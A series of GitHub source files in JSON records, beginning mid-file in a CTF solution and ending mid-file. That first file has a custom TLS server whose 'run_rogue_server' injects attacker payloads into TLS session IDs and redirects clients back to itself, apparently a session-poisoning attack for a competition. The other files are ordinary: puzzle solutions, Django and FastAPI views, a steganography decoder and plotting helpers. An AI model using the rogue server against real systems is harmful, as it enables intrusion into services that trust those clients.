data)\n\n    def _write_record(self, record):\n        payload = struct.pack('>BHH', record.content_type, record.version, len(record.data)) + record.data\n        self.socket.send(payload)\n\n    def _read_handshake_record(self, expected_type, decrypt=False):\n        record = self._read_record(TLS.HANDSHAKE_CONTENT_TYPE)\n        payload = record.data\n        if decrypt:\n            payload = self._decrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE, record.version)\n        self.handshake_log += payload\n        header_size = 4\n        header, *_ = struct.unpack('>I', payload[:header_size])\n        handshake_type = header >> 24\n        assert handshake_type == expected_type, f'Bad handshake type: got {handshake_type}, expected {expected_type}'\n        length = header & 0xFF_FF_FF\n        return TLS.HandshakeRecord(handshake_type, payload[header_size:header_size + length])\n\n    def _write_handshake_record(self, record, encrypt=False):\n        header = (record.handshake_type << 24) | len(record.data)\n        payload = struct.pack('>I', header) + record.data\n        if encrypt:\n            payload = self._encrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE)\n        self.handshake_log += payload\n        self._write_record(TLS.Record(TLS.HANDSHAKE_CONTENT_TYPE, TLS.VERSION, payload))\n\n    def _get_server_hello(self):\n        return b''.join([\n            struct.pack('>H', TLS.VERSION),\n            self.server_random,\n            struct.pack('B', len(self.session_id)),\n            self.session_id,\n            # No compression, no extension\n            struct.pack('>HBH', TLS.CIPHER_SUITE, 0, 0),\n        ])\n\n    def _get_certificate(self):\n        def int16_to_int24_bytes(x):\n            return b'\\x00' + struct.pack('>H', x)\n\n        packed_certs = b''.join([\n            int16_to_int24_bytes(len(cert)) + cert\n            for cert in self.certs\n        ])\n\n        return int16_to_int24_bytes(len(packed_certs)) + packed_certs\n\n    def derive_keys(self, encrypted_premaster_secret, client_random):\n        assert len(encrypted_premaster_secret) == TLS.KEY_LENGTH\n        encrypted_premaster_secret = int.from_bytes(encrypted_premaster_secret, byteorder='big')\n        premaster_secret = pow(encrypted_premaster_secret, self.priv_key.d, self.priv_key.n).to_bytes(TLS.KEY_LENGTH, byteorder='big')\n\n        assert premaster_secret.startswith(TLS.PKCS_PREFIX)\n        premaster_secret = premaster_secret[premaster_secret.find(b'\\x00', len(TLS.PKCS_PREFIX)) + 1:]\n        assert len(premaster_secret) == 48\n\n        master_secret = prf(premaster_secret, b'master secret', client_random + self.server_random, 48)\n\n        enc_key_length, fixed_iv_length = 16, 4\n        expanded_key_length = 2 * (enc_key_length + fixed_iv_length)\n        key_block = prf(master_secret, b'key expansion', self.server_random + client_random, expanded_key_length)\n        return TLS.SessionKeys(\n            master_secret=master_secret,\n            client_key=key_block[:enc_key_length],\n            server_key=key_block[enc_key_length:2 * enc_key_length],\n            client_salt=key_block[2 * enc_key_length:2 * enc_key_length + fixed_iv_length],\n            server_salt=key_block[2 * enc_key_length + fixed_iv_length:],\n        )\n\n    def _get_server_finished(self):\n        session_hash = hashlib.sha256(self.handshake_log).digest()\n        return prf(self.session_keys.master_secret, b'server finished', session_hash, 12)\n\n    def _encrypt(self, data, tls_type):\n        explicit_nonce = get_random_bytes(8)\n        cipher = AES.new(self.session_keys.server_key, AES.MODE_GCM, nonce=self.session_keys.server_salt + explicit_nonce)\n        cipher.update(to_ad(self.server_seq_num, tls_type, TLS.VERSION, len(data)))\n        ciphertext, tag = cipher.encrypt_and_digest(data)\n        self.server_seq_num += 1\n        return explicit_nonce + ciphertext + tag\n\n    def _decrypt(self, data, tls_type, tls_version):\n        cipher = AES.new(self.session_keys.client_key, AES.MODE_GCM, nonce=self.session_keys.client_salt + data[:8])\n        ciphertext = data[8:-16]\n        tag = data[-16:]\n        cipher.update(to_ad(self.client_seq_num, tls_type, tls_version, len(ciphertext)))\n        self.client_seq_num += 1\n        return cipher.decrypt_and_verify(ciphertext, tag)\n\n    def read(self):\n        record = self._read_record(TLS.DATA_CONTENT_TYPE)\n        payload = self._decrypt(record.data, TLS.DATA_CONTENT_TYPE, record.version)\n        #print(f'Got a message of length {len(payload)}')\n        return payload\n\n    def write(self, msg):\n        payload = self._encrypt(msg, TLS.DATA_CONTENT_TYPE)\n        self._write_record(TLS.Record(TLS.DATA_CONTENT_TYPE, TLS.VERSION, payload))\n        #print(f'Sent a message of length {len(payload)}')\n\n    def _shake_hands(self):\n        client_hello = self._read_handshake_record(0x1).data\n        client_random = client_hello[2:2 + 32]\n        #print(f'Got client hello')\n\n        self._write_handshake_record(TLS.HandshakeRecord(0x2, self._get_server_hello()))\n        #print(f'Sent server hello with session id {self.session_id}')\n\n        self._write_handshake_record(TLS.HandshakeRecord(0xb, self._get_certificate()))\n        #print(f'Sent {len(self.certs)} certificates')\n\n        self._write_handshake_record(TLS.HandshakeRecord(0xe, b''))\n        #print(f'Sent server hello done')\n\n        # Skip the redundant premaster secret length.\n        encrypted_premaster_secret = self._read_handshake_record(0x10).data[2:]\n        #print(f'Got a premaster secret')\n        self.session_keys = self.derive_keys(encrypted_premaster_secret, client_random)\n\n        self._read_record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE)\n        client_finished = self._read_handshake_record(TLS.FINISHED_HANDSHAKE_TYPE, decrypt=True)\n        #print(f'Got client finished')\n\n        self._write_record(TLS.Record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE, TLS.VERSION, b'\\x01'))\n        server_finished = TLS.HandshakeRecord(TLS.FINISHED_HANDSHAKE_TYPE, self._get_server_finished())\n        self._write_handshake_record(server_finished, encrypt=True)\n        #print(f'Sent server finished, the connection is ready')\n\n\ndef get_http_response(code, headers, content):\n    headers.update({\n        'Connection': 'close',\n        'Content-Length': str(len(content)),\n    })\n\n    return '\\r\\n'.join([\n        f'HTTP/1.1 {code} Whatever',\n        '\\r\\n'.join([\n            f'{k}: {v}' for k, v in headers.items()\n        ]),\n        '',\n        content,\n    ]).encode()\n\ndef run_rogue_server(key, cert, port, delay, location, payloads):\n    payloads += [b'LAST_CHECK_DUMMY']\n    def run():\n        priv_key = RSA.import_key((Path(__file__).parent / Path(key)).read_text())\n        certs = [\n            base64.b64decode(''.join(\n                cert_line\n                for cert_line in cert.splitlines()\n                if not cert_line.startswith('-')\n            ))\n            for cert in (Path(__file__).parent / Path(cert)).read_text().split('\\n\\n')\n        ]\n\n        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server_socket.bind(('0.0.0.0', port))\n        server_socket.listen(5)\n\n        print('Server started.')\n\n        success_printed = [False]*len(payloads)\n        pi = 0\n        while pi < len(payloads):\n            client_socket, address = server_socket.accept()\n            print(f'Got a connection from {address}!')\n\n            print(f'Trying #{pi}')\n            session_id = payloads[pi].ljust(32, b'\\0')\n            try:\n                # Sometimes throw AssertionError due to ALERT_CONTENT_TYPE at self-redirect\n                tls = TLS(client_socket, priv_key, certs, session_id)\n                http_request = tls.read()\n                assert b'fdzz' not in http_request\n            except:\n                # This indicates that the previous payload redirected to the current payload.\n                # Thus, we must retry previous payload.\n                print(f'Retry #{pi - 1}...')\n                pi -= 1\n                client_socket.close()\n                continue\n\n            if pi > 0 and not success_printed[pi - 1]:\n                print(f'Checked #{pi - 1} success. (payload {payloads[pi - 1]})')\n                success_printed[pi - 1] = True\n            pi += 1\n\n            time.sleep(delay)\n\n            headers = {\n                'Location': location + '?fdzz',\n            }\n            tls.write(get_http_response(302, headers, ''))\n\n            client_socket.close()\n    \n    t = threading.Thread(target=run, daemon=True)\n    t.start()\n    return t\n","repo_name":"leesh3288/CTF","sub_path":"2022/goq_22s/trino/solution/albireo/TLS/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11133,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"22"}
+{"seq_id":"25836689222","text":"import random\nfrom django.shortcuts import render, redirect, reverse\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import Subscriber\nfrom .forms import SubscriberForm\n\n\n# Create your views here.\n\n\ndef random_digits():\n    \"\"\"\n    generate random degits for subscriber confirmation number\n    \"\"\"\n    return \"%0.12d\" % random.randint(0, 999999999999)\n\n\n@csrf_exempt\ndef new_subscriber(request):\n    \"\"\"\n    New subscriber confirmation email and view\n    \"\"\"\n    if request.method == \"POST\":\n        email = request.POST.get('email')\n        confirmation_number = random_digits()\n        Subscriber.objects.create(\n            email=email, confirmation_number=confirmation_number)\n        email_subject = 'Newsletter Confirmation'\n        email_message = (\n            'Thank you for signing up for my email newsletter! Please complete \\\n                 the process by \\\n                    <a href=\"{}/confirm_subscriber/?email={}&confirmation_number={}\"> \\\n                        clicking here to confirm your registration.'.format(\n                            request.build_absolute_uri(\n                                '/confirm_subscriber/'), email, confirmation_number))\n        send_mail(\n            email_subject,\n            email_message,\n            settings.CONTACT_EMAIL,\n            [email, ]\n            )\n        messages.success(\n            request, f'A confirmation emai has been send to {email}')\n        return render(request, 'home/index.html', {\n            'email': email, 'action': 'added', 'form': SubscriberForm()})\n    else:\n        return render(request, 'home/index.html', {'form': SubscriberForm()})\n\n\ndef confirm_subscriber(request):\n    \"\"\"\n    confirmation email send with a link\n    \"\"\"\n    sub = Subscriber.objects.get(email=request.GET['email'])\n    if sub.confirmation_number == request.GET['confirmation_number']:\n        sub.confirmed = True\n        sub.save()\n        return render(request, 'home/index.html', {\n            'email': sub.email, 'action': 'confirmed'})\n    else:\n        return render(request, 'home/index.html', {\n            'email': sub.email, 'action': 'denied'})\n\n\ndef delete_subscriber(request):\n    \"\"\"\n    Unsubscribe\n    \"\"\"\n    sub = Subscriber.objects.get(email=request.GET['email'])\n    if sub.confirmation_number == request.GET['confirmation_number']:\n        sub.delete()\n        return render(request, 'home/index.html', {\n            'email': sub.email, 'action': 'unsubscribed'})\n    else:\n        return render(request, 'home/index.html', {\n            'email': sub.email, 'action': 'denied'})\n","repo_name":"Code-Institute-Submissions/Frangelicomk-penelope_swimwear_2022v1_OctResub","sub_path":"newsletter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70538897017","text":"\"\"\"\nGiven 2*n + 1 numbers, every numbers occurs twice except one, find it.\n\"\"\"\n\nclass Solution:\n    \"\"\"\n    @param A : an integer array\n    @return : a integer\n    \"\"\"\n    def singleNumber(self, A):\n        # write your code here\n        result = 0\n        for num in A:\n            result ^= num\n        return result\n","repo_name":"AnthonyNeu/LintCode","sub_path":"Python/Single Number.py","file_name":"Single Number.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"}
+{"seq_id":"31963855466","text":"from django.shortcuts import render\r\nfrom django.http import HttpResponse,JsonResponse\r\nfrom datetime import datetime\r\nfrom myapp.models import District\r\n# Create your views here.\r\n\r\ndef index(request):\r\n\treturn render(request,\"myapp/index.html\")\r\n\r\ndef demo1(request):\r\n\tcontext={}\r\n\tcontext['name']='zhangsan'\r\n\tcontext['a']=[10,20,30]\r\n\tcontext['stu']={'name':'list','age':20}\r\n\tdata=[\r\n\t\t{'name':'q','sex':1,'age':40,'state':0},\r\n\t\t{'name':'w','sex':0,'age':40,'state':2},\r\n\t\t{'name':'e','sex':1,'age':40,'state':1},\r\n\t\t{'name':'r','sex':0,'age':40,'state':2},\r\n\t]\r\n\tcontext['dlist']=data\r\n\tcontext['time']=datetime.now\r\n\tcontext['m1']=100\r\n\tcontext['m2']=20\r\n\treturn render(request,\"myapp/demo1.html\",context)\r\ndef demo2(request):\r\n\treturn render(request,'myapp/demo2.html')\r\n\r\ndef showdistrict(request):\r\n\treturn render(request,\"myapp/district.html\")\r\n\r\ndef district(request,id=0):\r\n\tdlist = District.objects.filter(pid=id)\r\n\tmylist = []\r\n\tfor ob in dlist:\r\n\t\tmylist.append({'pid':ob.pid,'district_name':ob.district_name})\r\n\treturn JsonResponse({'data':mylist})","repo_name":"MAYI-CL/demo","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"765913257","text":"# Retrieve encoded string from sprite.bmp\n# See repository LICENSE\n\nf = open('sprite.bmp', 'rb')\nf.seek(54)\nsprite_data = f.read()\nf.close()\n\nblock_str = ''\n\nfor i in range(13):\n    block_bytes = sprite_data[i*7:i*7+7]\n    block_bits = list(map(lambda x: x & 1, block_bytes))\n    block_chr = chr(sum([bit << (6 - j) for (j, bit) in enumerate(block_bits)]))\n    block_str += block_chr\nprint(block_str)","repo_name":"LeoCodes21/ctf-writeups","sub_path":"Flare-On 2020/06-codeit/bmp_stego_decoder.py","file_name":"bmp_stego_decoder.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"22"}
+{"seq_id":"5662907623","text":"from sortedcontainers import SortedList\n\n\nclass Solution:\n    def minAbsoluteDifference(self, nums: List[int], x: int) -> int:\n        myList = SortedList()\n        n = len(nums)\n        res = float('inf')\n        for i, num in enumerate(nums):\n            myList.add(num)\n            if i + x < n:\n                l = myList.bisect_left(nums[i + x])\n                if l == len(myList):\n                    res = min(res, abs(nums[i + x] - myList[l - 1]))\n                else:\n                    res = res = min(res, abs(nums[i + x] - myList[l - 1]), abs(nums[i + x] - myList[l]))\n\n        return res","repo_name":"KaiKaizxc/Data-stuctures-and-algo","sub_path":"BinarySearch/2817. Minimum Absolute Difference Between Elements With Constraint.py","file_name":"2817. Minimum Absolute Difference Between Elements With Constraint.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"22023869773","text":"from typing import Annotated\n\nfrom fastapi import Depends, Security\nfrom fastapi.security import HTTPAuthorizationCredentials, HTTPBearer\nfrom ghga_service_commons.auth.context import AuthContextProtocol\nfrom ghga_service_commons.auth.ghga import AuthContext, is_active\nfrom ghga_service_commons.auth.policies import require_auth_context_using_credentials\n\nfrom wps.adapters.inbound.fastapi_.dummies import auth_provider\n\n__all__ = [\"RequiresAuthContext\", \"RequiresWorkPackageAccessToken\"]\n\n\nasync def require_active_context(\n    credentials: Annotated[\n        HTTPAuthorizationCredentials, Depends(HTTPBearer(auto_error=True))\n    ],\n    auth_provider: Annotated[AuthContextProtocol[AuthContext], Depends(auth_provider)],\n) -> AuthContext:\n    \"\"\"Require an active GHGA auth context using FastAPI.\"\"\"\n    return await require_auth_context_using_credentials(\n        credentials, auth_provider, is_active\n    )\n\n\nasync def require_access_token(\n    credentials: Annotated[\n        HTTPAuthorizationCredentials, Depends(HTTPBearer(auto_error=True))\n    ],\n) -> str:\n    \"\"\"Require an access token using FastAPI.\"\"\"\n    return credentials.credentials\n\n\n# policy that requires (and returns) an active auth context\nRequiresAuthContext = Annotated[AuthContext, Security(require_active_context)]\n\n# policy that requires (and returns) a work package access token\nRequiresWorkPackageAccessToken = Annotated[str, Security(require_access_token)]\n","repo_name":"ghga-de/work-package-service","sub_path":"src/wps/adapters/inbound/fastapi_/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38186506119","text":"import numpy as np\nimport pickle\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport string\nimport random\n\ndef compare_plot(x1:np.ndarray,y1:np.ndarray,x2:np.ndarray,y2:np.ndarray,\n                 xlabel: str,ylabel:str,title:str,label1:str,label2:str):\n    \n    if (x1.shape != y1.shape) or (x2.shape != y2.shape):\n        return None\n    else:\n        fig, ax = plt.subplots()\n        ax.plot(x1, y1, 'b', linewidth = 4, label=label1)\n        ax.plot(x2, y2, 'r', linewidth = 2, label=label2)\n        ax.set(xlabel=xlabel, ylabel=ylabel, title=title)\n        ax.legend()\n        return fig\n\ndef parallel_plot(x1:np.ndarray,y1:np.ndarray,x2:np.ndarray,y2:np.ndarray,\n                  x1label:str,y1label:str,x2label:str,y2label:str,title:str,orientation:str):\n    if (x1.shape != y1.shape) or (x2.shape != y2.shape) or min(x1.shape) == 0 or min(x2.shape) == 0:\n        return None\n    if orientation == '-':\n        fig, (ax1, ax2) = plt.subplots(2,1)\n    elif orientation == '|':\n        fig, (ax1, ax2) = plt.subplots(1,2)\n    ax1.plot(x1, y1)\n    ax1.set(xlabel=x1label, ylabel=y1label)\n    ax2.plot(x2, y2)\n    ax2.set(xlabel=x2label, ylabel=y2label)\n    fig.suptitle(title)\n    return fig\n\ndef log_plot(x:np.ndarray,y:np.ndarray,xlabel:str,ylabel:str,title:str,log_axis:str): \n    if x.shape != y.shape:\n        return None\n    fig, ax = plt.subplots() \n    ax.plot(x, y)\n    ax.set(xlabel=xlabel, ylabel=ylabel, title=title)\n    if log_axis == 'x':\n        ax.set_xscale('log')\n    elif log_axis == 'y':\n        ax.set_yscale('log')\n    else:\n        ax.set_xscale('log')\n        ax.set_yscale('log')\n    return fig     ","repo_name":"Motylek137/metody_numeryczne","sub_path":"laboratorium 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41165436332","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef moving_average(x, width):\n    return np.convolve(x, np.ones(width), 'same') / width\n\n\ndef show_curve(positions):\n    x = np.arange(0, len(positions))\n    y = positions\n    plt.plot(x, y, color='red', linewidth=1)\n    plt.show()\n\n\nif __name__ == '__main__':\n    # pos = np.sin(np.arange(0, 2, 0.01))\n    # show_curve(pos)\n    from video_source import VideoSource\n    from AlphaPose.AlphaDetector import AlphaDetector\n\n    video_path = './4.mp4'\n    vs = VideoSource(video_path, webcam=False)\n    dt = AlphaDetector()\n    positions = []\n    ratio = []\n    for ori, fid in vs:\n        pose_dic = dt.pre_one(ori)\n        if not pose_dic:\n            continue\n        positions.append(pose_dic['19'][1])\n        ratio.append(pose_dic['19'][1] - pose_dic['18'][1])\n        print(pose_dic['19'][1])\n        print(pose_dic['18'][1] - pose_dic['19'][1])\n\n    positions = np.array(positions)\n    avg_positions = moving_average(positions, 3)\n\n    ratio = np.array(ratio)\n    velocitys = positions[1:] - positions[:-1]\n    modified_ratio = (ratio[1:] + ratio[:-1]) / 2\n    modified_velocitys = velocitys * (170 / modified_ratio)\n\n    avg_velocity = moving_average(modified_velocitys, 3)\n    show_curve(modified_velocitys)\n    show_curve(avg_velocity)\n    # show_curve(positions)\n    # show_curve(avg_positions)\n","repo_name":"WWWzk/smart-sport","sub_path":"show_curve.py","file_name":"show_curve.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16757818000","text":"'''\n给定一个由空格分割单词的句子 S。每个单词只包含大写或小写字母。\n\n我们要将句子转换为 “Goat Latin”（一种类似于 猪拉丁文 - Pig Latin 的虚构语言）。\n\n山羊拉丁文的规则如下：\n\n如果单词以元音开头（a, e, i, o, u），在单词后添加\"ma\"。\n例如，单词\"apple\"变为\"applema\"。\n\n如果单词以辅音字母开头（即非元音字母），移除第一个字符并将它放到末尾，之后再添加\"ma\"。\n例如，单词\"goat\"变为\"oatgma\"。\n\n根据单词在句子中的索引，在单词最后添加与索引相同数量的字母'a'，索引从1开始。\n例如，在第一个单词后添加\"a\"，在第二个单词后添加\"aa\"，以此类推。\n返回将 S 转换为山羊拉丁文后的句子。\n\n示例 1:\n\n输入: \"I speak Goat Latin\"\n输出: \"Imaa peaksmaaa oatGmaaaa atinLmaaaaa\"\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/goat-latin\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n'''\nclass Solution(object):\n    def toGoatLatin(self, S):\n        \"\"\"\n        :type S: str\n        :rtype: str\n        \"\"\"\n        S = S.split()\n        new = []\n        for i,word in enumerate(S):\n            if word[0] in ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']:\n                new.append(word+'ma'+'a'*(i+1))\n            else:\n                w = word[1:]+word[0]\n                new.append(w+'ma'+'a'*(i+1))\n        return ' '.join(new)\n\nS = \"I speak Goat Latin\"\nSolution().toGoatLatin(S)","repo_name":"Code-ZYJ/Leecode_everyday","sub_path":"山羊拉丁文.py","file_name":"山羊拉丁文.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1354571335","text":"from flask import request, jsonify, json\nfrom flask_restful import Resource\nfrom models.categoria import CategoriaModel\nfrom sqlalchemy.orm import sessionmaker\nfrom db import session\n\n\nclass CategoriaList(Resource):\n    def get(self):\n        categorias = session.query(CategoriaModel).order_by(CategoriaModel.nome)\n        categorias = [c.serialize for c in categorias]\n        return jsonify(categorias)  # jsonify({'store': stores})\n\n\nclass CategoriaResource(Resource):\n    def get(self, id):\n        categoria = session.query(CategoriaModel).get(id)\n        return jsonify(categoria.serialize)\n\n    def post(self, categoria):\n        session.add(CategoriaModel(request.json['id'], request.json['nome']))\n        session.commit()\n        return json.dumps(request.json), 201\n\n    def delete(self, id):\n        categoria = session.query(CategoriaModel).get(id)\n        session.delete(categoria)\n        session.commit()\n        return jsonify(categoria.serialize)\n\n    def put(self, id):\n        categoria = session.query(CategoriaModel).get(id)\n        categoria.nome = request.json.get('nome', categoria.nome)\n        session.commit()\n        return jsonify(categoria.serialize)\n        #     return {'item': None}, 404\n\n","repo_name":"jgbcientista/Sistema-de-Monitoramento-JAVA","sub_path":"smt-frontend/server/resources/categoria.py","file_name":"categoria.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"5694601283","text":"# tipper type, tipped\r\na = float(input(\"type the total $ amount of your bill than press enter__\"))\r\nc = a*.15\r\nd = a*.20\r\ne = a* 2\r\nb = (c, d, e)\r\nr=\"15%\"\r\nf='20%'\r\nv=\"200%\"\r\nprint(\"a tip amount of 15% would equal=\", c)\r\nprint(\"a tip amount of\",f,\"would equal =\",d)\r\nprint(\"If you want to tip big tip\", v, \"=\", e)\r\n#added extra to play with ,var,, function\r\ninput(\"press enter to end\")\r\n","repo_name":"nibbletobits/nibbletobits","sub_path":"python/day 2 home work 3.py","file_name":"day 2 home work 3.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70604614457","text":"from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom math import prod\nfrom pathlib import Path\n\nfrom helpers import read_input_as_string_array\n\n\n@dataclass\nclass Packet:\n    version: int\n    type_id: int\n    literal_value: int | None\n    sub_packets: list[Packet] | None\n\n\ndef read_input(filename: Path | str) -> str:\n    input_string = read_input_as_string_array(filename)[0]\n    return convert_hex_to_binary(input_string)\n\n\ndef convert_hex_to_binary(hex_string: str) -> str:\n    chunks = [hex_string[i : i + 2] for i in range(0, len(hex_string), 2)]\n    return \"\".join([\"{:08b}\".format(int(chunk, 16)) for chunk in chunks])\n\n\ndef parse_packets(\n    binary_data: str,\n    trim_bits: bool = True,\n    count: int | None = None,\n) -> tuple[list[Packet], str]:\n    packets: list[Packet] = []\n\n    while binary_data != \"\":\n        try:\n            packet_version, binary_data = get_packet_version(binary_data)\n            packet_type_id, binary_data = get_packet_type_id(binary_data)\n            literal_value = None\n            sub_packets = None\n\n            if packet_type_id == 4:\n                literal_value, binary_data = get_literal_value(binary_data, trim_bits)\n            else:\n                sub_packets, binary_data = get_operator(binary_data)\n\n            if literal_value or sub_packets:\n                packets.append(\n                    Packet(\n                        packet_version,\n                        packet_type_id,\n                        literal_value,\n                        sub_packets,\n                    ),\n                )\n        except (IndexError, ValueError):\n            break\n\n        if count and len(packets) == count:\n            break\n\n    return packets, binary_data\n\n\ndef get_packet_version(binary_data: str) -> tuple[int, str]:\n    return int(binary_data[:3], 2), binary_data[3:]\n\n\ndef get_packet_type_id(binary_data: str) -> tuple[int, str]:\n    return int(binary_data[:3], 2), binary_data[3:]\n\n\ndef get_literal_value(binary_data: str, trim_bits: bool) -> tuple[int, str]:\n    start_index = 0\n    literal_value_string = \"\"\n\n    while True:\n        indicator_bit = int(binary_data[start_index])\n\n        start_index = start_index + 1\n        end_index = start_index + 4\n\n        literal_value_string += binary_data[start_index:end_index]\n        start_index = end_index\n\n        if indicator_bit == 0:\n            break\n\n    literal_value = int(literal_value_string, 2)\n\n    if trim_bits:\n        prefix_length = 6\n        remainder = (start_index + prefix_length) % 4\n\n        while remainder > 0:\n            start_index += 1\n            remainder = (start_index + prefix_length) % 4\n\n    return literal_value, binary_data[start_index:]\n\n\ndef get_operator(binary_data: str) -> tuple[list[Packet], str]:\n    length_type_id = int(binary_data[0])\n\n    if length_type_id == 0:\n        start_index = 16\n        length = int(binary_data[1:start_index], 2)\n        end_index = start_index + length\n        sub_binary_data = binary_data[start_index:end_index]\n        sub_packets, _ = parse_packets(sub_binary_data, trim_bits=False)\n        binary_data = binary_data[end_index:]\n    else:\n        start_index = 12\n        length = int(binary_data[1:start_index], 2)\n        sub_binary_data = binary_data[start_index:]\n        sub_packets, binary_data = parse_packets(\n            sub_binary_data,\n            trim_bits=False,\n            count=length,\n        )\n\n    return sub_packets, binary_data\n\n\ndef sum_version_numbers(packets: list[Packet] | None) -> int:\n    return (\n        sum(\n            packet.version + sum_version_numbers(packet.sub_packets)\n            for packet in packets\n        )\n        if packets\n        else 0\n    )\n\n\ndef evaluate_packets(packet: Packet) -> int:\n    if packet.type_id == 4:\n        return packet.literal_value or 0\n\n    if not packet.sub_packets:\n        return 0\n\n    if packet.type_id == 0:\n        return sum(evaluate_packets(sub_packet) for sub_packet in packet.sub_packets)\n\n    if packet.type_id == 1:\n        return prod(evaluate_packets(sub_packet) for sub_packet in packet.sub_packets)\n\n    if packet.type_id == 2:\n        return min(evaluate_packets(sub_packet) for sub_packet in packet.sub_packets)\n\n    if packet.type_id == 3:\n        return max(evaluate_packets(sub_packet) for sub_packet in packet.sub_packets)\n\n    if packet.type_id == 5:\n        return (\n            1\n            if evaluate_packets(packet.sub_packets[0])\n            > evaluate_packets(packet.sub_packets[1])\n            else 0\n        )\n\n    if packet.type_id == 6:\n        return (\n            1\n            if evaluate_packets(packet.sub_packets[0])\n            < evaluate_packets(packet.sub_packets[1])\n            else 0\n        )\n\n    if packet.type_id == 7:\n        return (\n            1\n            if evaluate_packets(packet.sub_packets[0])\n            == evaluate_packets(packet.sub_packets[1])\n            else 0\n        )\n\n    return 0\n\n\ndef part_one(binary_data: str) -> int:\n    packets, _ = parse_packets(binary_data)\n    return sum_version_numbers(packets)\n\n\ndef part_two(binary_data: str) -> int:\n    packets, _ = parse_packets(binary_data)\n    return evaluate_packets(packets[0])\n\n\nif __name__ == \"__main__\":\n    binary_input: str = read_input(\"input.txt\")\n    print(part_one(binary_input))\n    print(part_two(binary_input))\n","repo_name":"avendesora/advent-of-code-python","sub_path":"advent_of_code_2021/day16/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"21953044763","text":"#!/usr/bin/env python\nfrom bs4 import BeautifulSoup\nimport sys\nimport json\nimport argparse\nimport re\nfrom slugify import slugify\n\ntool_chest_html = 'do-tool-chest.html'\n\nclass ToolChest:\n    def __init__(self):\n        self.soup = None\n        self.tool_list = None\n        self.categories_list = None\n\n    def body(self):\n        if self.soup == None:\n            with open(tool_chest_html) as f:\n                self.soup = BeautifulSoup(f, 'html.parser', from_encoding=\"ascii\")\n        return self.soup.body\n\n    def section(self, section_id):\n        sections = self.body().find_all('section')\n        for section in sections:\n            if section.has_attr('id') and section_id in section.get('id'):\n                return section\n\n    def categories(self):\n        \"\"\" Returns a dict, where the key is the category id, and the value\n            is the category name. \"\"\"\n        if self.categories_list != None: return self.categories_list\n\n        # The 'tool-chest' section of the HTML contains categories as well as\n        # tool content\n        section = self.section(\"tool-chest\")\n\n        # The 'dropdown-menu' ul class has the categories\n        ul = section.find('ul', attrs={\"class\": \"dropdown-menu\"} )\n        links = ul.find_all(\"a\", attrs={\"class\": \"filter\"} )\n\n        d = {}\n        for link in links:\n            # The 'data-filter' attribute in the HTML is the ID for the category\n            text = link.get_text()\n            # Strip leading '.' from category id\n            f = link['data-filter']\n            #d[f.strip('.')] = text.encode('ascii', 'ignore')\n            d[f.strip('.')] = text\n\n        self.categories_list = d\n        return self.categories_list\n\n    def categories_more(self):\n        \"\"\" Returns an array of dicts with the following keys:\n              - type (the category type-id)\n              - category (the category name)\n              - cat (slugified category)\n        \"\"\"\n        l=[]\n        for t,c in self.categories().items():\n            l.append({\"type\":t, \"category\":c, \"cat\": slugify(c) })\n        return l\n\n    def tools(self):\n        \"\"\" Looks up the section of the data with tools and returns a dict\n            with the key being the tool-id, and the value being a dict of\n            all the attributes about the tool, including:\n             - name, id, class, link, img, text, category\n        \"\"\"\n        if self.tool_list != None: return self.tool_list\n\n        section = self.section(\"tool-chest\")\n        div = section.find('div', attrs={\"id\": \"mixitup\", \"class\": \"panel\"} )\n        tools = div.find_all('div')\n\n        d = []\n        for tool in tools:\n            # data-name is the tool title\n            # data-id is the id of the tool\n            # class contains the classes applying to this tool, including categories\n            tool_name, tool_id = tool.get(\"data-name\"), tool.get(\"data-id\")\n            tool_classes = [l for l in tool.get(\"class\")]\n            link, img = tool.a.get(\"href\"), tool.img.get(\"src\")\n            text 